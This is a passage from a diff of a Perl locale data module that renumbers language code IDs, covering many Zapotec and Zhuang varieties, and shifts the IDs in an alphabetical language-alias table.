       ],
-   q(7818) => [
+   q(7815) => [
       q(Coatecas Altas Zapotec),
       ],
-   q(7819) => [
+   q(7816) => [
       q(Central Hongshuihe Zhuang),
       ],
-   q(7820) => [
+   q(7817) => [
       q(Ngazidja Comorian),
       ],
-   q(7821) => [
+   q(7818) => [
       q(Zeeuws),
       ],
-   q(7822) => [
+   q(7819) => [
       q(Zenag),
       ],
-   q(7823) => [
+   q(7820) => [
       q(Eastern Hongshuihe Zhuang),
       ],
-   q(7824) => [
+   q(7821) => [
       q(Kinga),
       ],
-   q(7825) => [
+   q(7822) => [
       q(Guibei Zhuang),
       ],
-   q(7826) => [
+   q(7823) => [
       q(Minz Zhuang),
       ],
-   q(7827) => [
+   q(7824) => [
       q(Guibian Zhuang),
       ],
-   q(7828) => [
+   q(7825) => [
       q(Magori),
       ],
-   q(7829) => [
+   q(7826) => [
       q(Zhaba),
       ],
-   q(7830) => [
+   q(7827) => [
       q(Dai Zhuang),
       ],
-   q(7831) => [
+   q(7828) => [
       q(Zhire),
       ],
-   q(7832) => [
+   q(7829) => [
       q(Nong Zhuang),
       ],
-   q(7833) => [
+   q(7830) => [
       q(Zhoa),
       ],
-   q(7834) => [
+   q(7831) => [
       q(Zia),
       ],
-   q(7835) => [
+   q(7832) => [
       q(Zimbabwe Sign Language),
       ],
-   q(7836) => [
+   q(7833) => [
       q(Zimakani),
       ],
-   q(7837) => [
+   q(7834) => [
       q(Zialo),
       ],
-   q(7838) => [
+   q(7835) => [
       q(Mesme),
       ],
-   q(7839) => [
+   q(7836) => [
       q(Zinza),
       ],
-   q(7840) => [
+   q(7837) => [
       q(Ziriya),
       ],
-   q(7841) => [
+   q(7838) => [
       q(Zigula),
       ],
-   q(7842) => [
+   q(7839) => [
       q(Zizilivakan),
       ],
-   q(7843) => [
+   q(7840) => [
       q(Kaimbulawa),
       ],
-   q(7844) => [
+   q(7841) => [
       q(Koibal),
       ],
-   q(7845) => [
+   q(7842) => [
       q(Kadu),
       ],
-   q(7846) => [
+   q(7843) => [
       q(Koguryo),
       ],
-   q(7847) => [
+   q(7844) => [
       q(Khorezmian),
       ],
-   q(7848) => [
+   q(7845) => [
       q(Karankawa),
       ],
-   q(7849) => [
+   q(7846) => [
       q(Kanan),
       ],
-   q(7850) => [
+   q(7847) => [
       q(Kott),
       ],
-   q(7851) => [
+   q(7848) => [
       q(Sao Paulo Kaingang),
       ],
-   q(7852) => [
+   q(7849) => [
       q(Zakhring),
       ],
-   q(7853) => [
+   q(7850) => [
       q(Kitan),
       ],
-   q(7854) => [
+   q(7851) => [
       q(Kaurna),
       ],
-   q(7855) => [
+   q(7852) => [
       q(Krevinian),
       ],
-   q(7856) => [
+   q(7853) => [
       q(Khazar),
       ],
-   q(7857) => [
+   q(7854) => [
       q(Liujiang Zhuang),
       ],
-   q(7858) => [
+   q(7855) => [
       q(Malay (individual language)),
       ],
-   q(7859) => [
+   q(7856) => [
       q(Lianshan Zhuang),
       ],
-   q(7860) => [
+   q(7857) => [
       q(Liuqian Zhuang),
       ],
-   q(7861) => [
+   q(7858) => [
       q(Manda (Australia)),
       ],
-   q(7862) => [
+   q(7859) => [
       q(Zimba),
       ],
-   q(7863) => [
+   q(7860) => [
       q(Margany),
       ],
-   q(7864) => [
+   q(7861) => [
       q(Maridan),
       ],
-   q(7865) => [
+   q(7862) => [
       q(Mangerr),
       ],
-   q(7866) => [
+   q(7863) => [
       q(Mfinu),
       ],
-   q(7867) => [
+   q(7864) => [
       q(Marti Ke),
       ],
-   q(7868) => [
+   q(7865) => [
       q(Makolkol),
       ],
-   q(7869) => [
+   q(7866) => [
       q(Negeri Sembilan Malay),
       ],
-   q(7870) => [
+   q(7867) => [
       q(Maridjabin),
       ],
-   q(7871) => [
+   q(7868) => [
       q(Mandandanyi),
       ],
-   q(7872) => [
+   q(7869) => [
       q(Madngele),
       ],
-   q(7873) => [
+   q(7870) => [
       q(Marimanindji),
       ],
-   q(7874) => [
+   q(7871) => [
       q(Mbangwe),
       ],
-   q(7875) => [
+   q(7872) => [
       q(Molo),
       ],
-   q(7876) => [
+   q(7873) => [
       q(Mpuono),
       ],
-   q(7877) => [
+   q(7874) => [
       q(Mituku),
       ],
-   q(7878) => [
+   q(7875) => [
       q(Maranunggu),
       ],
-   q(7879) => [
+   q(7876) => [
       q(Mbesa),
       ],
-   q(7880) => [
+   q(7877) => [
       q(Maringarr),
       ],
-   q(7881) => [
+   q(7878) => [
       q(Muruwari),
       ],
-   q(7882) => [
+   q(7879) => [
       q(Mbariman-Gudhinma),
       ],
-   q(7883) => [
+   q(7880) => [
       q(Mbo (Democratic Republic of Congo)),
       ],
-   q(7884) => [
+   q(7881) => [
       q(Bomitaba),
       ],
-   q(7885) => [
+   q(7882) => [
       q(Mariyedi),
       ],
-   q(7886) => [
+   q(7883) => [
       q(Mbandja),
       ],
-   q(7887) => [
+   q(7884) => [
       q(Zan Gula),
       ],
-   q(7888) => [
+   q(7885) => [
       q(Zande (individual language)),
       ],
-   q(7889) => [
+   q(7886) => [
       q(Mang),
       ],
-   q(7890) => [
+   q(7887) => [
       q(Manangkari),
       ],
-   q(7891) => [
+   q(7888) => [
       q(Mangas),
       ],
-   q(7892) => [
+   q(7889) => [
       q(Copainala Zoque),
       ],
-   q(7893) => [
+   q(7890) => [
       q(Chimalapa Zoque),
       ],
-   q(7894) => [
+   q(7891) => [
       q(Zou),
       ],
-   q(7895) => [
+   q(7892) => [
       q(Asuncion Mixtepec Zapotec),
       ],
-   q(7896) => [
+   q(7893) => [
       q(Tabasco Zoque),
       ],
-   q(7897) => [
+   q(7894) => [
       q(Rayon Zoque),
       ],
-   q(7898) => [
+   q(7895) => [
       q(Francisco Leon Zoque),
       ],
-   q(7899) => [
+   q(7896) => [
       q(Lachiguiri Zapotec),
       ],
-   q(7900) => [
+   q(7897) => [
       q(Yautepec Zapotec),
       ],
-   q(7901) => [
+   q(7898) => [
       q(Choapan Zapotec),
       ],
-   q(7902) => [
+   q(7899) => [
       q(Southeastern Ixtlan Zapotec),
       ],
-   q(7903) => [
+   q(7900) => [
       q(Petapa Zapotec),
       ],
-   q(7904) => [
+   q(7901) => [
       q(San Pedro Quiatoni Zapotec),
       ],
-   q(7905) => [
+   q(7902) => [
       q(Guevea De Humboldt Zapotec),
       ],
-   q(7906) => [
+   q(7903) => [
       q(Totomachapan Zapotec),
       ],
-   q(7907) => [
+   q(7904) => [
       q(Santa Maria Quiegolani Zapotec),
       ],
-   q(7908) => [
+   q(7905) => [
       q(Quiavicuzas Zapotec),
       ],
-   q(7909) => [
+   q(7906) => [
       q(Tlacolulita Zapotec),
       ],
-   q(7910) => [
+   q(7907) => [
       q(Lachixio Zapotec),
       ],
-   q(7911) => [
+   q(7908) => [
       q(Mixtepec Zapotec),
       ],
-   q(7912) => [
+   q(7909) => [
       q(Santa Ines Yatzechi Zapotec),
       ],
-   q(7913) => [
+   q(7910) => [
       q(Amatlan Zapotec),
       ],
-   q(7914) => [
+   q(7911) => [
       q(El Alto Zapotec),
       ],
-   q(7915) => [
+   q(7912) => [
       q(Zoogocho Zapotec),
       ],
-   q(7916) => [
+   q(7913) => [
       q(Santiago Xanica Zapotec),
       ],
-   q(7917) => [
+   q(7914) => [
       q(Coatlan Zapotec),
       ],
-   q(7918) => [
+   q(7915) => [
       q(San Vicente Coatlan Zapotec),
       ],
-   q(7919) => [
+   q(7916) => [
       q(Yalalag Zapotec),
       ],
-   q(7920) => [
+   q(7917) => [
       q(Chichicapan Zapotec),
       ],
-   q(7921) => [
+   q(7918) => [
       q(Zaniza Zapotec),
       ],
-   q(7922) => [
+   q(7919) => [
       q(San Baltazar Loxicha Zapotec),
       ],
-   q(7923) => [
+   q(7920) => [
       q(Mazaltepec Zapotec),
       ],
-   q(7924) => [
+   q(7921) => [
       q(Texmelucan Zapotec),
       ],
-   q(7925) => [
+   q(7922) => [
       q(Qiubei Zhuang),
       ],
-   q(7926) => [
+   q(7923) => [
       q(Kara (Korea)),
       ],
-   q(7927) => [
+   q(7924) => [
       q(Mirgan),
       ],
-   q(7928) => [
+   q(7925) => [
       q(Zerenkel),
       ],
-   q(7929) => [
+   q(7926) => [
       q(Zaparo),
       ],
-   q(7930) => [
+   q(7927) => [
       q(Zarphatic),
       ],
-   q(7931) => [
+   q(7928) => [
       q(Mairasi),
       ],
-   q(7932) => [
+   q(7929) => [
       q(Sarasira),
       ],
-   q(7933) => [
+   q(7930) => [
       q(Kaskean),
       ],
-   q(7934) => [
+   q(7931) => [
       q(Zambian Sign Language),
       ],
-   q(7935) => [
+   q(7932) => [
       q(Standard Malay),
       ],
-   q(7936) => [
+   q(7933) => [
       q(Southern Rincon Zapotec),
       ],
-   q(7937) => [
+   q(7934) => [
       q(Sukurum),
       ],
-   q(7938) => [
+   q(7935) => [
       q(Elotepec Zapotec),
       ],
-   q(7939) => [
+   q(7936) => [
       q(Xanaguia Zapotec),
       ],
-   q(7940) => [
+   q(7937) => [
       q(Lapaguia-Guivini Zapotec),
       ],
-   q(7941) => [
+   q(7938) => [
       q(San Agustin Mixtepec Zapotec),
       ],
-   q(7942) => [
+   q(7939) => [
       q(Santa Catarina Albarradas Zapotec),
       ],
-   q(7943) => [
+   q(7940) => [
       q(Loxicha Zapotec),
       ],
-   q(7944) => [
+   q(7941) => [
       q(Quioquitani-Quieri Zapotec),
       ],
-   q(7945) => [
+   q(7942) => [
       q(Tilquiapan Zapotec),
       ],
-   q(7946) => [
+   q(7943) => [
       q(Tejalapan Zapotec),
       ],
-   q(7947) => [
+   q(7944) => [
       q(Guila Zapotec),
       ],
-   q(7948) => [
+   q(7945) => [
       q(Zaachila Zapotec),
       ],
-   q(7949) => [
+   q(7946) => [
       q(Yatee Zapotec),
       ],
-   q(7950) => [
+   q(7947) => [
       q(Zeem),
       ],
-   q(7951) => [
+   q(7948) => [
       q(Tokano),
       ],
-   q(7952) => [
+   q(7949) => [
       q(Kumzari),
       ],
-   q(7953) => [
+   q(7950) => [
       q(Zumaya),
       ],
-   q(7954) => [
+   q(7951) => [
       q(Zay),
       ],
-   q(7955) => [
+   q(7952) => [
       q(Yongbei Zhuang),
       ],
-   q(7956) => [
+   q(7953) => [
       q(Yang Zhuang),
       ],
-   q(7957) => [
+   q(7954) => [
       q(Youjiang Zhuang),
       ],
-   q(7958) => [
+   q(7955) => [
       q(Yongnan Zhuang),
       ],
-   q(7959) => [
+   q(7956) => [
       q(Zyphe Chin),
       ],
-   q(7960) => [
+   q(7957) => [
       q(Zuojiang Zhuang),
       ],
 };
 
 $Locale::Codes::Data{'language'}{'alias2id'} = {
    q(!xoo) => [
-      q(4968),
+      q(4966),
       q(0),
       ],
    q('are'are) => [
-      q(0762),
+      q(0761),
       q(0),
       ],
    q('auhelawa) => [
@@ -24275,111 +24257,111 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q('oroe) => [
-      q(1382),
+      q(1381),
       q(1),
       ],
    q(//ani) => [
-      q(2800),
+      q(2798),
       q(0),
       ],
    q(//gana) => [
-      q(2573),
+      q(2571),
       q(0),
       ],
    q(//xegwi) => [
-      q(7317),
+      q(7314),
       q(0),
       ],
    q(/gwi) => [
-      q(2683),
+      q(2681),
       q(0),
       ],
    q(/xam) => [
-      q(7268),
+      q(7266),
       q(0),
       ],
    q(=/hua) => [
-      q(2850),
+      q(2848),
       q(0),
       ],
    q(=/ungkue) => [
-      q(2540),
+      q(2538),
       q(1),
       ],
    q(a'ou) => [
-      q(0832),
+      q(0831),
       q(0),
       ],
    q(a'tong) => [
-      q(0831),
+      q(0830),
       q(1),
       ],
    q(a-hmaos) => [
-      q(2777),
+      q(2775),
       q(1),
       ],
    q(a-pucikwar) => [
-      q(0850),
+      q(0849),
       q(0),
       ],
    q(aari) => [
-      q(0711),
+      q(0710),
       q(0),
       ],
    q(aasax) => [
-      q(0554),
+      q(0553),
       q(0),
       ],
    q(abadi) => [
-      q(3201),
+      q(3199),
       q(0),
       ],
    q(abaga) => [
-      q(0566),
+      q(0565),
       q(0),
       ],
    q(abai sungai) => [
-      q(0565),
+      q(0564),
       q(0),
       ],
    q(abanyom) => [
-      q(0571),
+      q(0570),
       q(0),
       ],
    q(abar) => [
-      q(4299),
+      q(4298),
       q(0),
       ],
    q(abau) => [
-      q(0556),
+      q(0555),
       q(0),
       ],
    q(abaza) => [
-      q(0575),
+      q(0574),
       q(0),
       ],
    q(abe) => [
-      q(0560),
+      q(0559),
       q(0),
       ],
    q(abellen ayta) => [
-      q(0574),
+      q(0573),
       q(0),
       ],
    q(abidji) => [
-      q(0568),
+      q(0567),
       q(0),
       ],
    q(abinomn) => [
-      q(1447),
+      q(1446),
       q(0),
       ],
    q(abipon) => [
-      q(0986),
+      q(0985),
       q(0),
       ],
    q(abishira) => [
-      q(0893),
+      q(0892),
       q(0),
       ],
    q(abkhazian) => [
@@ -24387,43 +24369,43 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(abom) => [
-      q(0816),
+      q(0815),
       q(0),
       ],
    q(abon) => [
-      q(0573),
+      q(0572),
       q(0),
       ],
    q(abron) => [
-      q(0576),
+      q(0575),
       q(0),
       ],
    q(abu) => [
-      q(0615),
+      q(0614),
       q(0),
       ],
    q(abu' arapesh) => [
-      q(0546),
+      q(0545),
       q(0),
       ],
    q(abua) => [
-      q(0572),
+      q(0571),
       q(0),
       ],
    q(abui) => [
-      q(0584),
+      q(0583),
       q(0),
       ],
    q(abun) => [
-      q(3322),
+      q(3321),
       q(0),
       ],
    q(abure) => [
-      q(0579),
+      q(0578),
       q(0),
       ],
    q(abureni) => [
-      q(4251),
+      q(4250),
       q(0),
       ],
    q(acatepec me'phaa) => [
@@ -24435,23 +24417,23 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(1),
       ],
    q(achagua) => [
-      q(0585),
+      q(0584),
       q(0),
       ],
    q(achang) => [
-      q(0593),
+      q(0592),
       q(0),
       ],
    q(ache) => [
-      q(2655),
+      q(2653),
       q(0),
       ],
    q(acheron) => [
-      q(0604),
+      q(0603),
       q(0),
       ],
    q(achi) => [
-      q(0596),
+      q(0595),
       q(0),
       ],
    q(achinese) => [
@@ -24459,15 +24441,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(achterhoeks) => [
-      q(0598),
+      q(0597),
       q(0),
       ],
    q(achuar-shiwiar) => [
-      q(0599),
+      q(0598),
       q(0),
       ],
    q(achumawi) => [
-      q(0600),
+      q(0599),
       q(0),
       ],
    q(acoli) => [
@@ -24475,31 +24457,31 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(acroa) => [
-      q(0597),
+      q(0596),
       q(0),
       ],
    q(adabe) => [
-      q(0605),
+      q(0604),
       q(0),
       ],
    q(adai) => [
-      q(7262),
+      q(7260),
       q(0),
       ],
    q(adamawa fulfulde) => [
-      q(2378),
+      q(2377),
       q(0),
       ],
    q(adamorobe sign language) => [
-      q(0618),
+      q(0617),
       q(0),
       ],
    q(adang) => [
-      q(0614),
+      q(0613),
       q(0),
       ],
    q(adangbe) => [
-      q(0616),
+      q(0615),
       q(0),
       ],
    q(adangme) => [
@@ -24507,7 +24489,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(adara) => [
-      q(3170),
+      q(3168),
       q(0),
       ],
    q(adasen) => [
@@ -24515,47 +24497,47 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(adele) => [
-      q(0607),
+      q(0606),
       q(0),
       ],
    q(adhola) => [
-      q(0610),
+      q(0609),
       q(0),
       ],
    q(adi) => [
-      q(0611),
+      q(0610),
       q(0),
       ],
    q(adilabad gondi) => [
-      q(7220),
+      q(7218),
       q(0),
       ],
    q(adioukrou) => [
-      q(0612),
+      q(0611),
       q(0),
       ],
    q(adithinngithigh) => [
-      q(2153),
+      q(2152),
       q(0),
       ],
    q(adivasi oriya) => [
-      q(5298),
+      q(5294),
       q(0),
       ],
    q(adiwasi garasia) => [
-      q(2413),
+      q(2412),
       q(0),
       ],
    q(adnyamathanha) => [
-      q(0619),
+      q(0618),
       q(0),
       ],
    q(adonara) => [
-      q(0617),
+      q(0616),
       q(0),
       ],
    q(aduge) => [
-      q(0620),
+      q(0619),
       q(0),
       ],
    q(adygei) => [
@@ -24567,27 +24549,27 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(adzera) => [
-      q(0623),
+      q(0622),
       q(0),
       ],
    q(aeka) => [
-      q(0639),
+      q(0638),
       q(0),
       ],
    q(aekyom) => [
-      q(0973),
+      q(0972),
       q(0),
       ],
    q(aequian) => [
-      q(7263),
+      q(7261),
       q(0),
       ],
    q(aer) => [
-      q(0633),
+      q(0632),
       q(0),
       ],
    q(afade) => [
-      q(0549),
+      q(0548),
       q(0),
       ],
    q(afar) => [
@@ -24595,19 +24577,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(afghan persian) => [
-      q(5595),
+      q(5592),
       q(1),
       ],
    q(afghan sign language) => [
-      q(0643),
+      q(0642),
       q(0),
       ],
    q(afitti) => [
-      q(0650),
+      q(0649),
       q(0),
       ],
    q(afra) => [
-      q(6879),
+      q(6878),
       q(1),
       ],
    q(afrihili) => [
@@ -24623,95 +24605,95 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(afro-seminole creole) => [
-      q(0649),
+      q(0648),
       q(0),
       ],
    q(agarabi) => [
-      q(0656),
+      q(0655),
       q(0),
       ],
    q(agariya) => [
-      q(0661),
+      q(0660),
       q(0),
       ],
    q(agatu) => [
-      q(0655),
+      q(0654),
       q(0),
       ],
    q(agavotaguerra) => [
-      q(0963),
+      q(0962),
       q(0),
       ],
    q(aghem) => [
-      q(0668),
+      q(0667),
       q(0),
       ],
    q(aghu) => [
-      q(0681),
+      q(0680),
       q(0),
       ],
    q(aghu-tharnggala) => [
-      q(2639),
+      q(2637),
       q(0),
       ],
    q(aghul) => [
-      q(0675),
+      q(0674),
       q(0),
       ],
    q(aghwan) => [
-      q(7264),
+      q(7262),
       q(0),
       ],
    q(agi) => [
-      q(0697),
+      q(0696),
       q(0),
       ],
    q(agob) => [
-      q(3368),
+      q(3367),
       q(0),
       ],
    q(agoi) => [
-      q(2890),
+      q(2887),
       q(0),
       ],
    q(aguacateco) => [
-      q(0672),
+      q(0671),
       q(0),
       ],
    q(aguano) => [
-      q(0653),
+      q(0652),
       q(0),
       ],
    q(aguaruna) => [
-      q(0669),
+      q(0668),
       q(0),
       ],
    q(aguna) => [
-      q(0938),
+      q(0937),
       q(0),
       ],
    q(agusan manobo) => [
-      q(4535),
+      q(4534),
       q(0),
       ],
    q(agutaynen) => [
-      q(0666),
+      q(0665),
       q(0),
       ],
    q(agwagwune) => [
-      q(7582),
+      q(7579),
       q(0),
       ],
    q(ahan) => [
-      q(0686),
+      q(0685),
       q(0),
       ],
    q(ahanta) => [
-      q(0678),
+      q(0677),
       q(0),
       ],
    q(aheri gondi) => [
-      q(2288),
+      q(2287),
       q(0),
       ],
    q(aheu) => [
@@ -24719,27 +24701,27 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(ahirani) => [
-      q(0689),
+      q(0688),
       q(0),
       ],
    q(ahom) => [
-      q(0687),
+      q(0686),
       q(0),
       ],
    q(ahtena) => [
-      q(0691),
+      q(0690),
       q(0),
       ],
    q(ahwai) => [
-      q(4824),
+      q(4822),
       q(0),
       ],
    q(ai-cham) => [
-      q(0699),
+      q(0698),
       q(0),
       ],
    q(aighon) => [
-      q(0712),
+      q(0711),
       q(0),
       ],
    q(aikana) => [
@@ -24747,23 +24729,23 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(aiklep) => [
-      q(4623),
+      q(4622),
       q(0),
       ],
    q(aimaq) => [
-      q(0707),
+      q(0706),
       q(0),
       ],
    q(aimele) => [
-      q(0703),
+      q(0702),
       q(0),
       ],
    q(aimol) => [
-      q(0704),
+      q(0703),
       q(0),
       ],
    q(ainbai) => [
-      q(0694),
+      q(0693),
       q(0),
       ],
    q(ainu) => [
@@ -24771,7 +24753,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(ainu (china)) => [
-      q(0693),
+      q(0692),
       q(0),
       ],
    q(ainu (japan)) => [
@@ -24779,83 +24761,83 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(1),
       ],
    q(aiome) => [
-      q(0730),
+      q(0729),
       q(0),
       ],
    q(airoran) => [
-      q(0708),
+      q(0707),
       q(0),
       ],
    q(aiton) => [
-      q(0705),
+      q(0704),
       q(0),
       ],
    q(aiwoo) => [
-      q(4825),
+      q(4823),
       q(1),
       ],
    q(aja (benin)) => [
-      q(0715),
+      q(0714),
       q(0),
       ],
    q(aja (sudan)) => [
-      q(0714),
+      q(0713),
       q(0),
       ],
    q(ajawa) => [
-      q(0721),
+      q(0720),
       q(0),
       ],
    q(ajie) => [
-      q(0716),
+      q(0715),
       q(0),
       ],
    q(ajiya) => [
-      q(2901),
+      q(2898),
       q(1),
       ],
    q(ajumbu) => [
-      q(4575),
+      q(4574),
       q(0),
       ],
    q(ajyininka apurucayali) => [
-      q(1829),
+      q(1828),
       q(0),
       ],
    q(ak) => [
-      q(0736),
+      q(0735),
       q(0),
       ],
    q(aka) => [
-      q(6151),
+      q(6152),
       q(0),
       ],
    q(aka-bea) => [
-      q(0569),
+      q(0568),
       q(0),
       ],
    q(aka-bo) => [
-      q(0733),
+      q(0732),
       q(0),
       ],
    q(aka-cari) => [
-      q(0589),
+      q(0588),
       q(0),
       ],
    q(aka-jeru) => [
-      q(0731),
+      q(0730),
       q(0),
       ],
    q(aka-kede) => [
-      q(0743),
+      q(0742),
       q(0),
       ],
    q(aka-kol) => [
-      q(0744),
+      q(0743),
       q(0),
       ],
    q(aka-kora) => [
-      q(0590),
+      q(0589),
       q(0),
       ],
    q(akan) => [
@@ -24863,23 +24845,23 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(akar-bale) => [
-      q(0591),
+      q(0590),
       q(0),
       ],
    q(akaselem) => [
-      q(0738),
+      q(0737),
       q(0),
       ],
    q(akawaio) => [
-      q(0726),
+      q(0725),
       q(0),
       ],
    q(ake) => [
-      q(0702),
+      q(0701),
       q(0),
       ],
    q(akebu) => [
-      q(3276),
+      q(3274),
       q(0),
       ],
    q(akei) => [
@@ -24887,15 +24869,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(akeu) => [
-      q(0636),
+      q(0635),
       q(0),
       ],
    q(akha) => [
-      q(0683),
+      q(0682),
       q(0),
       ],
    q(akhvakh) => [
-      q(0741),
+      q(0740),
       q(0),
       ],
    q(akkadian) => [
@@ -24903,119 +24885,119 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(akkala sami) => [
-      q(6025),
+      q(6024),
       q(0),
       ],
    q(aklanon) => [
-      q(0732),
+      q(0731),
       q(0),
       ],
    q(akolet) => [
-      q(0739),
+      q(0738),
       q(0),
       ],
    q(akoose) => [
-      q(1464),
+      q(1463),
       q(0),
       ],
    q(akoye) => [
-      q(4309),
+      q(4308),
       q(0),
       ],
    q(akpa) => [
-      q(0727),
+      q(0726),
       q(0),
       ],
    q(akpes) => [
-      q(2886),
+      q(2884),
       q(0),
       ],
    q(akrukay) => [
-      q(0644),
+      q(0643),
       q(0),
       ],
    q(akukem) => [
-      q(6175),
+      q(6176),
       q(0),
       ],
    q(akuku) => [
-      q(1001),
+      q(1000),
       q(0),
       ],
    q(akum) => [
-      q(0740),
+      q(0739),
       q(0),
       ],
    q(akuntsu) => [
-      q(0868),
+      q(0867),
       q(0),
       ],
    q(akurio) => [
-      q(0734),
+      q(0733),
       q(0),
       ],
    q(akwa) => [
-      q(0742),
+      q(0741),
       q(0),
       ],
    q(akyaung ari naga) => [
-      q(5043),
+      q(5039),
       q(0),
       ],
    q(al-sayyid bedouin sign language) => [
-      q(6334),
+      q(6335),
       q(0),
       ],
    q(alaba-k'abeena) => [
-      q(0763),
+      q(0762),
       q(0),
       ],
    q(alabama) => [
-      q(0745),
+      q(0744),
       q(0),
       ],
    q(alabat island agta) => [
-      q(2174),
+      q(2173),
       q(0),
       ],
    q(alacalufan languages) => [
-      q(0490),
+      q(0489),
       q(0),
       ],
    q(alacatlatzala mixtec) => [
-      q(4302),
+      q(4301),
       q(0),
       ],
    q(alago) => [
-      q(0746),
+      q(0745),
       q(0),
       ],
    q(alagwa) => [
-      q(7068),
+      q(7067),
       q(0),
       ],
    q(alak) => [
-      q(0753),
+      q(0752),
       q(0),
       ],
    q(alamblak) => [
-      q(0780),
+      q(0779),
       q(0),
       ],
    q(alangan) => [
-      q(0752),
+      q(0751),
       q(0),
       ],
    q(alanic) => [
-      q(7386),
+      q(7383),
       q(0),
       ],
    q(alapmunte) => [
-      q(0855),
+      q(0854),
       q(0),
       ],
    q(alawa) => [
-      q(0750),
+      q(0749),
       q(0),
       ],
    q(albanian) => [
@@ -25023,27 +25005,27 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(albanian languages) => [
-      q(0526),
+      q(0525),
       q(0),
       ],
    q(albanian sign language) => [
-      q(6189),
+      q(6190),
       q(0),
       ],
    q(alcozauca mixtec) => [
-      q(7492),
+      q(7489),
       q(0),
       ],
    q(alege) => [
-      q(0749),
+      q(0748),
       q(0),
       ],
    q(alekano) => [
-      q(2402),
+      q(2401),
       q(0),
       ],
    q(alemannic) => [
-      q(0167),
+      q(0166),
       q(1),
       ],
    q(aleut) => [
@@ -25051,19 +25033,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(algerian arabic) => [
-      q(0878),
+      q(0877),
       q(0),
       ],
    q(algerian saharan arabic) => [
-      q(0551),
+      q(0550),
       q(0),
       ],
    q(algerian sign language) => [
-      q(0900),
+      q(0899),
       q(0),
       ],
    q(algic languages) => [
-      q(0491),
+      q(0490),
       q(0),
       ],
    q(algonquian languages) => [
@@ -25071,135 +25053,135 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(algonquin) => [
-      q(0759),
+      q(0758),
       q(0),
       ],
    q(ali) => [
-      q(0713),
+      q(0712),
       q(0),
       ],
    q(alladian) => [
-      q(0748),
+      q(0747),
       q(0),
       ],
    q(allar) => [
-      q(0754),
+      q(0753),
       q(0),
       ],
    q(alngith) => [
-      q(0695),
+      q(0694),
       q(0),
       ],
    q(alo phola) => [
-      q(7718),
+      q(7715),
       q(0),
       ],
    q(aloapam zapotec) => [
-      q(7804),
+      q(7801),
       q(0),
       ],
    q(alor) => [
-      q(0826),
+      q(0825),
       q(0),
       ],
    q(alsatian) => [
-      q(0167),
+      q(0166),
       q(2),
       ],
    q(alsea) => [
-      q(0635),
+      q(0634),
       q(0),
       ],
    q(altaic languages) => [
-      q(0446),
+      q(0445),
       q(0),
       ],
    q(alu kurumba) => [
-      q(7515),
+      q(7512),
       q(0),
       ],
    q(alugu) => [
-      q(0935),
+      q(0934),
       q(0),
       ],
    q(alumu-tesu) => [
-      q(0540),
+      q(0539),
       q(0),
       ],
    q(alune) => [
-      q(0758),
+      q(0757),
       q(0),
       ],
    q(aluo) => [
-      q(7691),
+      q(7688),
       q(0),
       ],
    q(alur) => [
-      q(0766),
+      q(0765),
       q(0),
       ],
    q(alutor) => [
-      q(0760),
+      q(0759),
       q(0),
       ],
    q(alviri-vidari) => [
-      q(0957),
+      q(0956),
       q(0),
       ],
    q(alyawarr) => [
-      q(0765),
+      q(0764),
       q(0),
       ],
    q(ama (papua new guinea)) => [
-      q(0777),
+      q(0776),
       q(0),
       ],
    q(ama (sudan)) => [
-      q(5158),
+      q(5154),
       q(0),
       ],
    q(amahai) => [
-      q(0781),
+      q(0780),
       q(0),
       ],
    q(amahuaca) => [
-      q(0769),
+      q(0768),
       q(0),
       ],
    q(amaimon) => [
-      q(0751),
+      q(0750),
       q(0),
       ],
    q(amal) => [
-      q(0542),
+      q(0541),
       q(0),
       ],
    q(amanab) => [
-      q(0778),
+      q(0777),
       q(0),
       ],
    q(amanaye) => [
-      q(0767),
+      q(0766),
       q(0),
       ],
    q(amara) => [
-      q(0696),
+      q(0695),
       q(0),
       ],
    q(amarakaeri) => [
-      q(0782),
+      q(0781),
       q(0),
       ],
    q(amarasi) => [
-      q(0559),
+      q(0558),
       q(0),
       ],
    q(amatlan zapotec) => [
-      q(7913),
+      q(7910),
       q(0),
       ],
    q(amba (solomon islands)) => [
-      q(6941),
+      q(6940),
       q(0),
       ],
    q(amba (uganda)) => [
@@ -25207,71 +25189,71 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(ambai) => [
-      q(0775),
+      q(0774),
       q(0),
       ],
    q(ambakich) => [
-      q(0637),
+      q(0636),
       q(0),
       ],
    q(ambala ayta) => [
-      q(0562),
+      q(0561),
       q(0),
       ],
    q(ambelau) => [
-      q(0786),
+      q(0785),
       q(0),
       ],
    q(ambele) => [
-      q(0630),
+      q(0629),
       q(0),
       ],
    q(amblong) => [
-      q(0755),
+      q(0754),
       q(0),
       ],
    q(ambo) => [
-      q(0768),
+      q(0767),
       q(0),
       ],
    q(ambo-pasco quechua) => [
-      q(5691),
+      q(5689),
       q(0),
       ],
    q(ambonese malay) => [
-      q(0577),
+      q(0576),
       q(0),
       ],
    q(ambrak) => [
-      q(0545),
+      q(0544),
       q(0),
       ],
    q(ambul) => [
-      q(0848),
+      q(0847),
       q(0),
       ],
    q(ambulas) => [
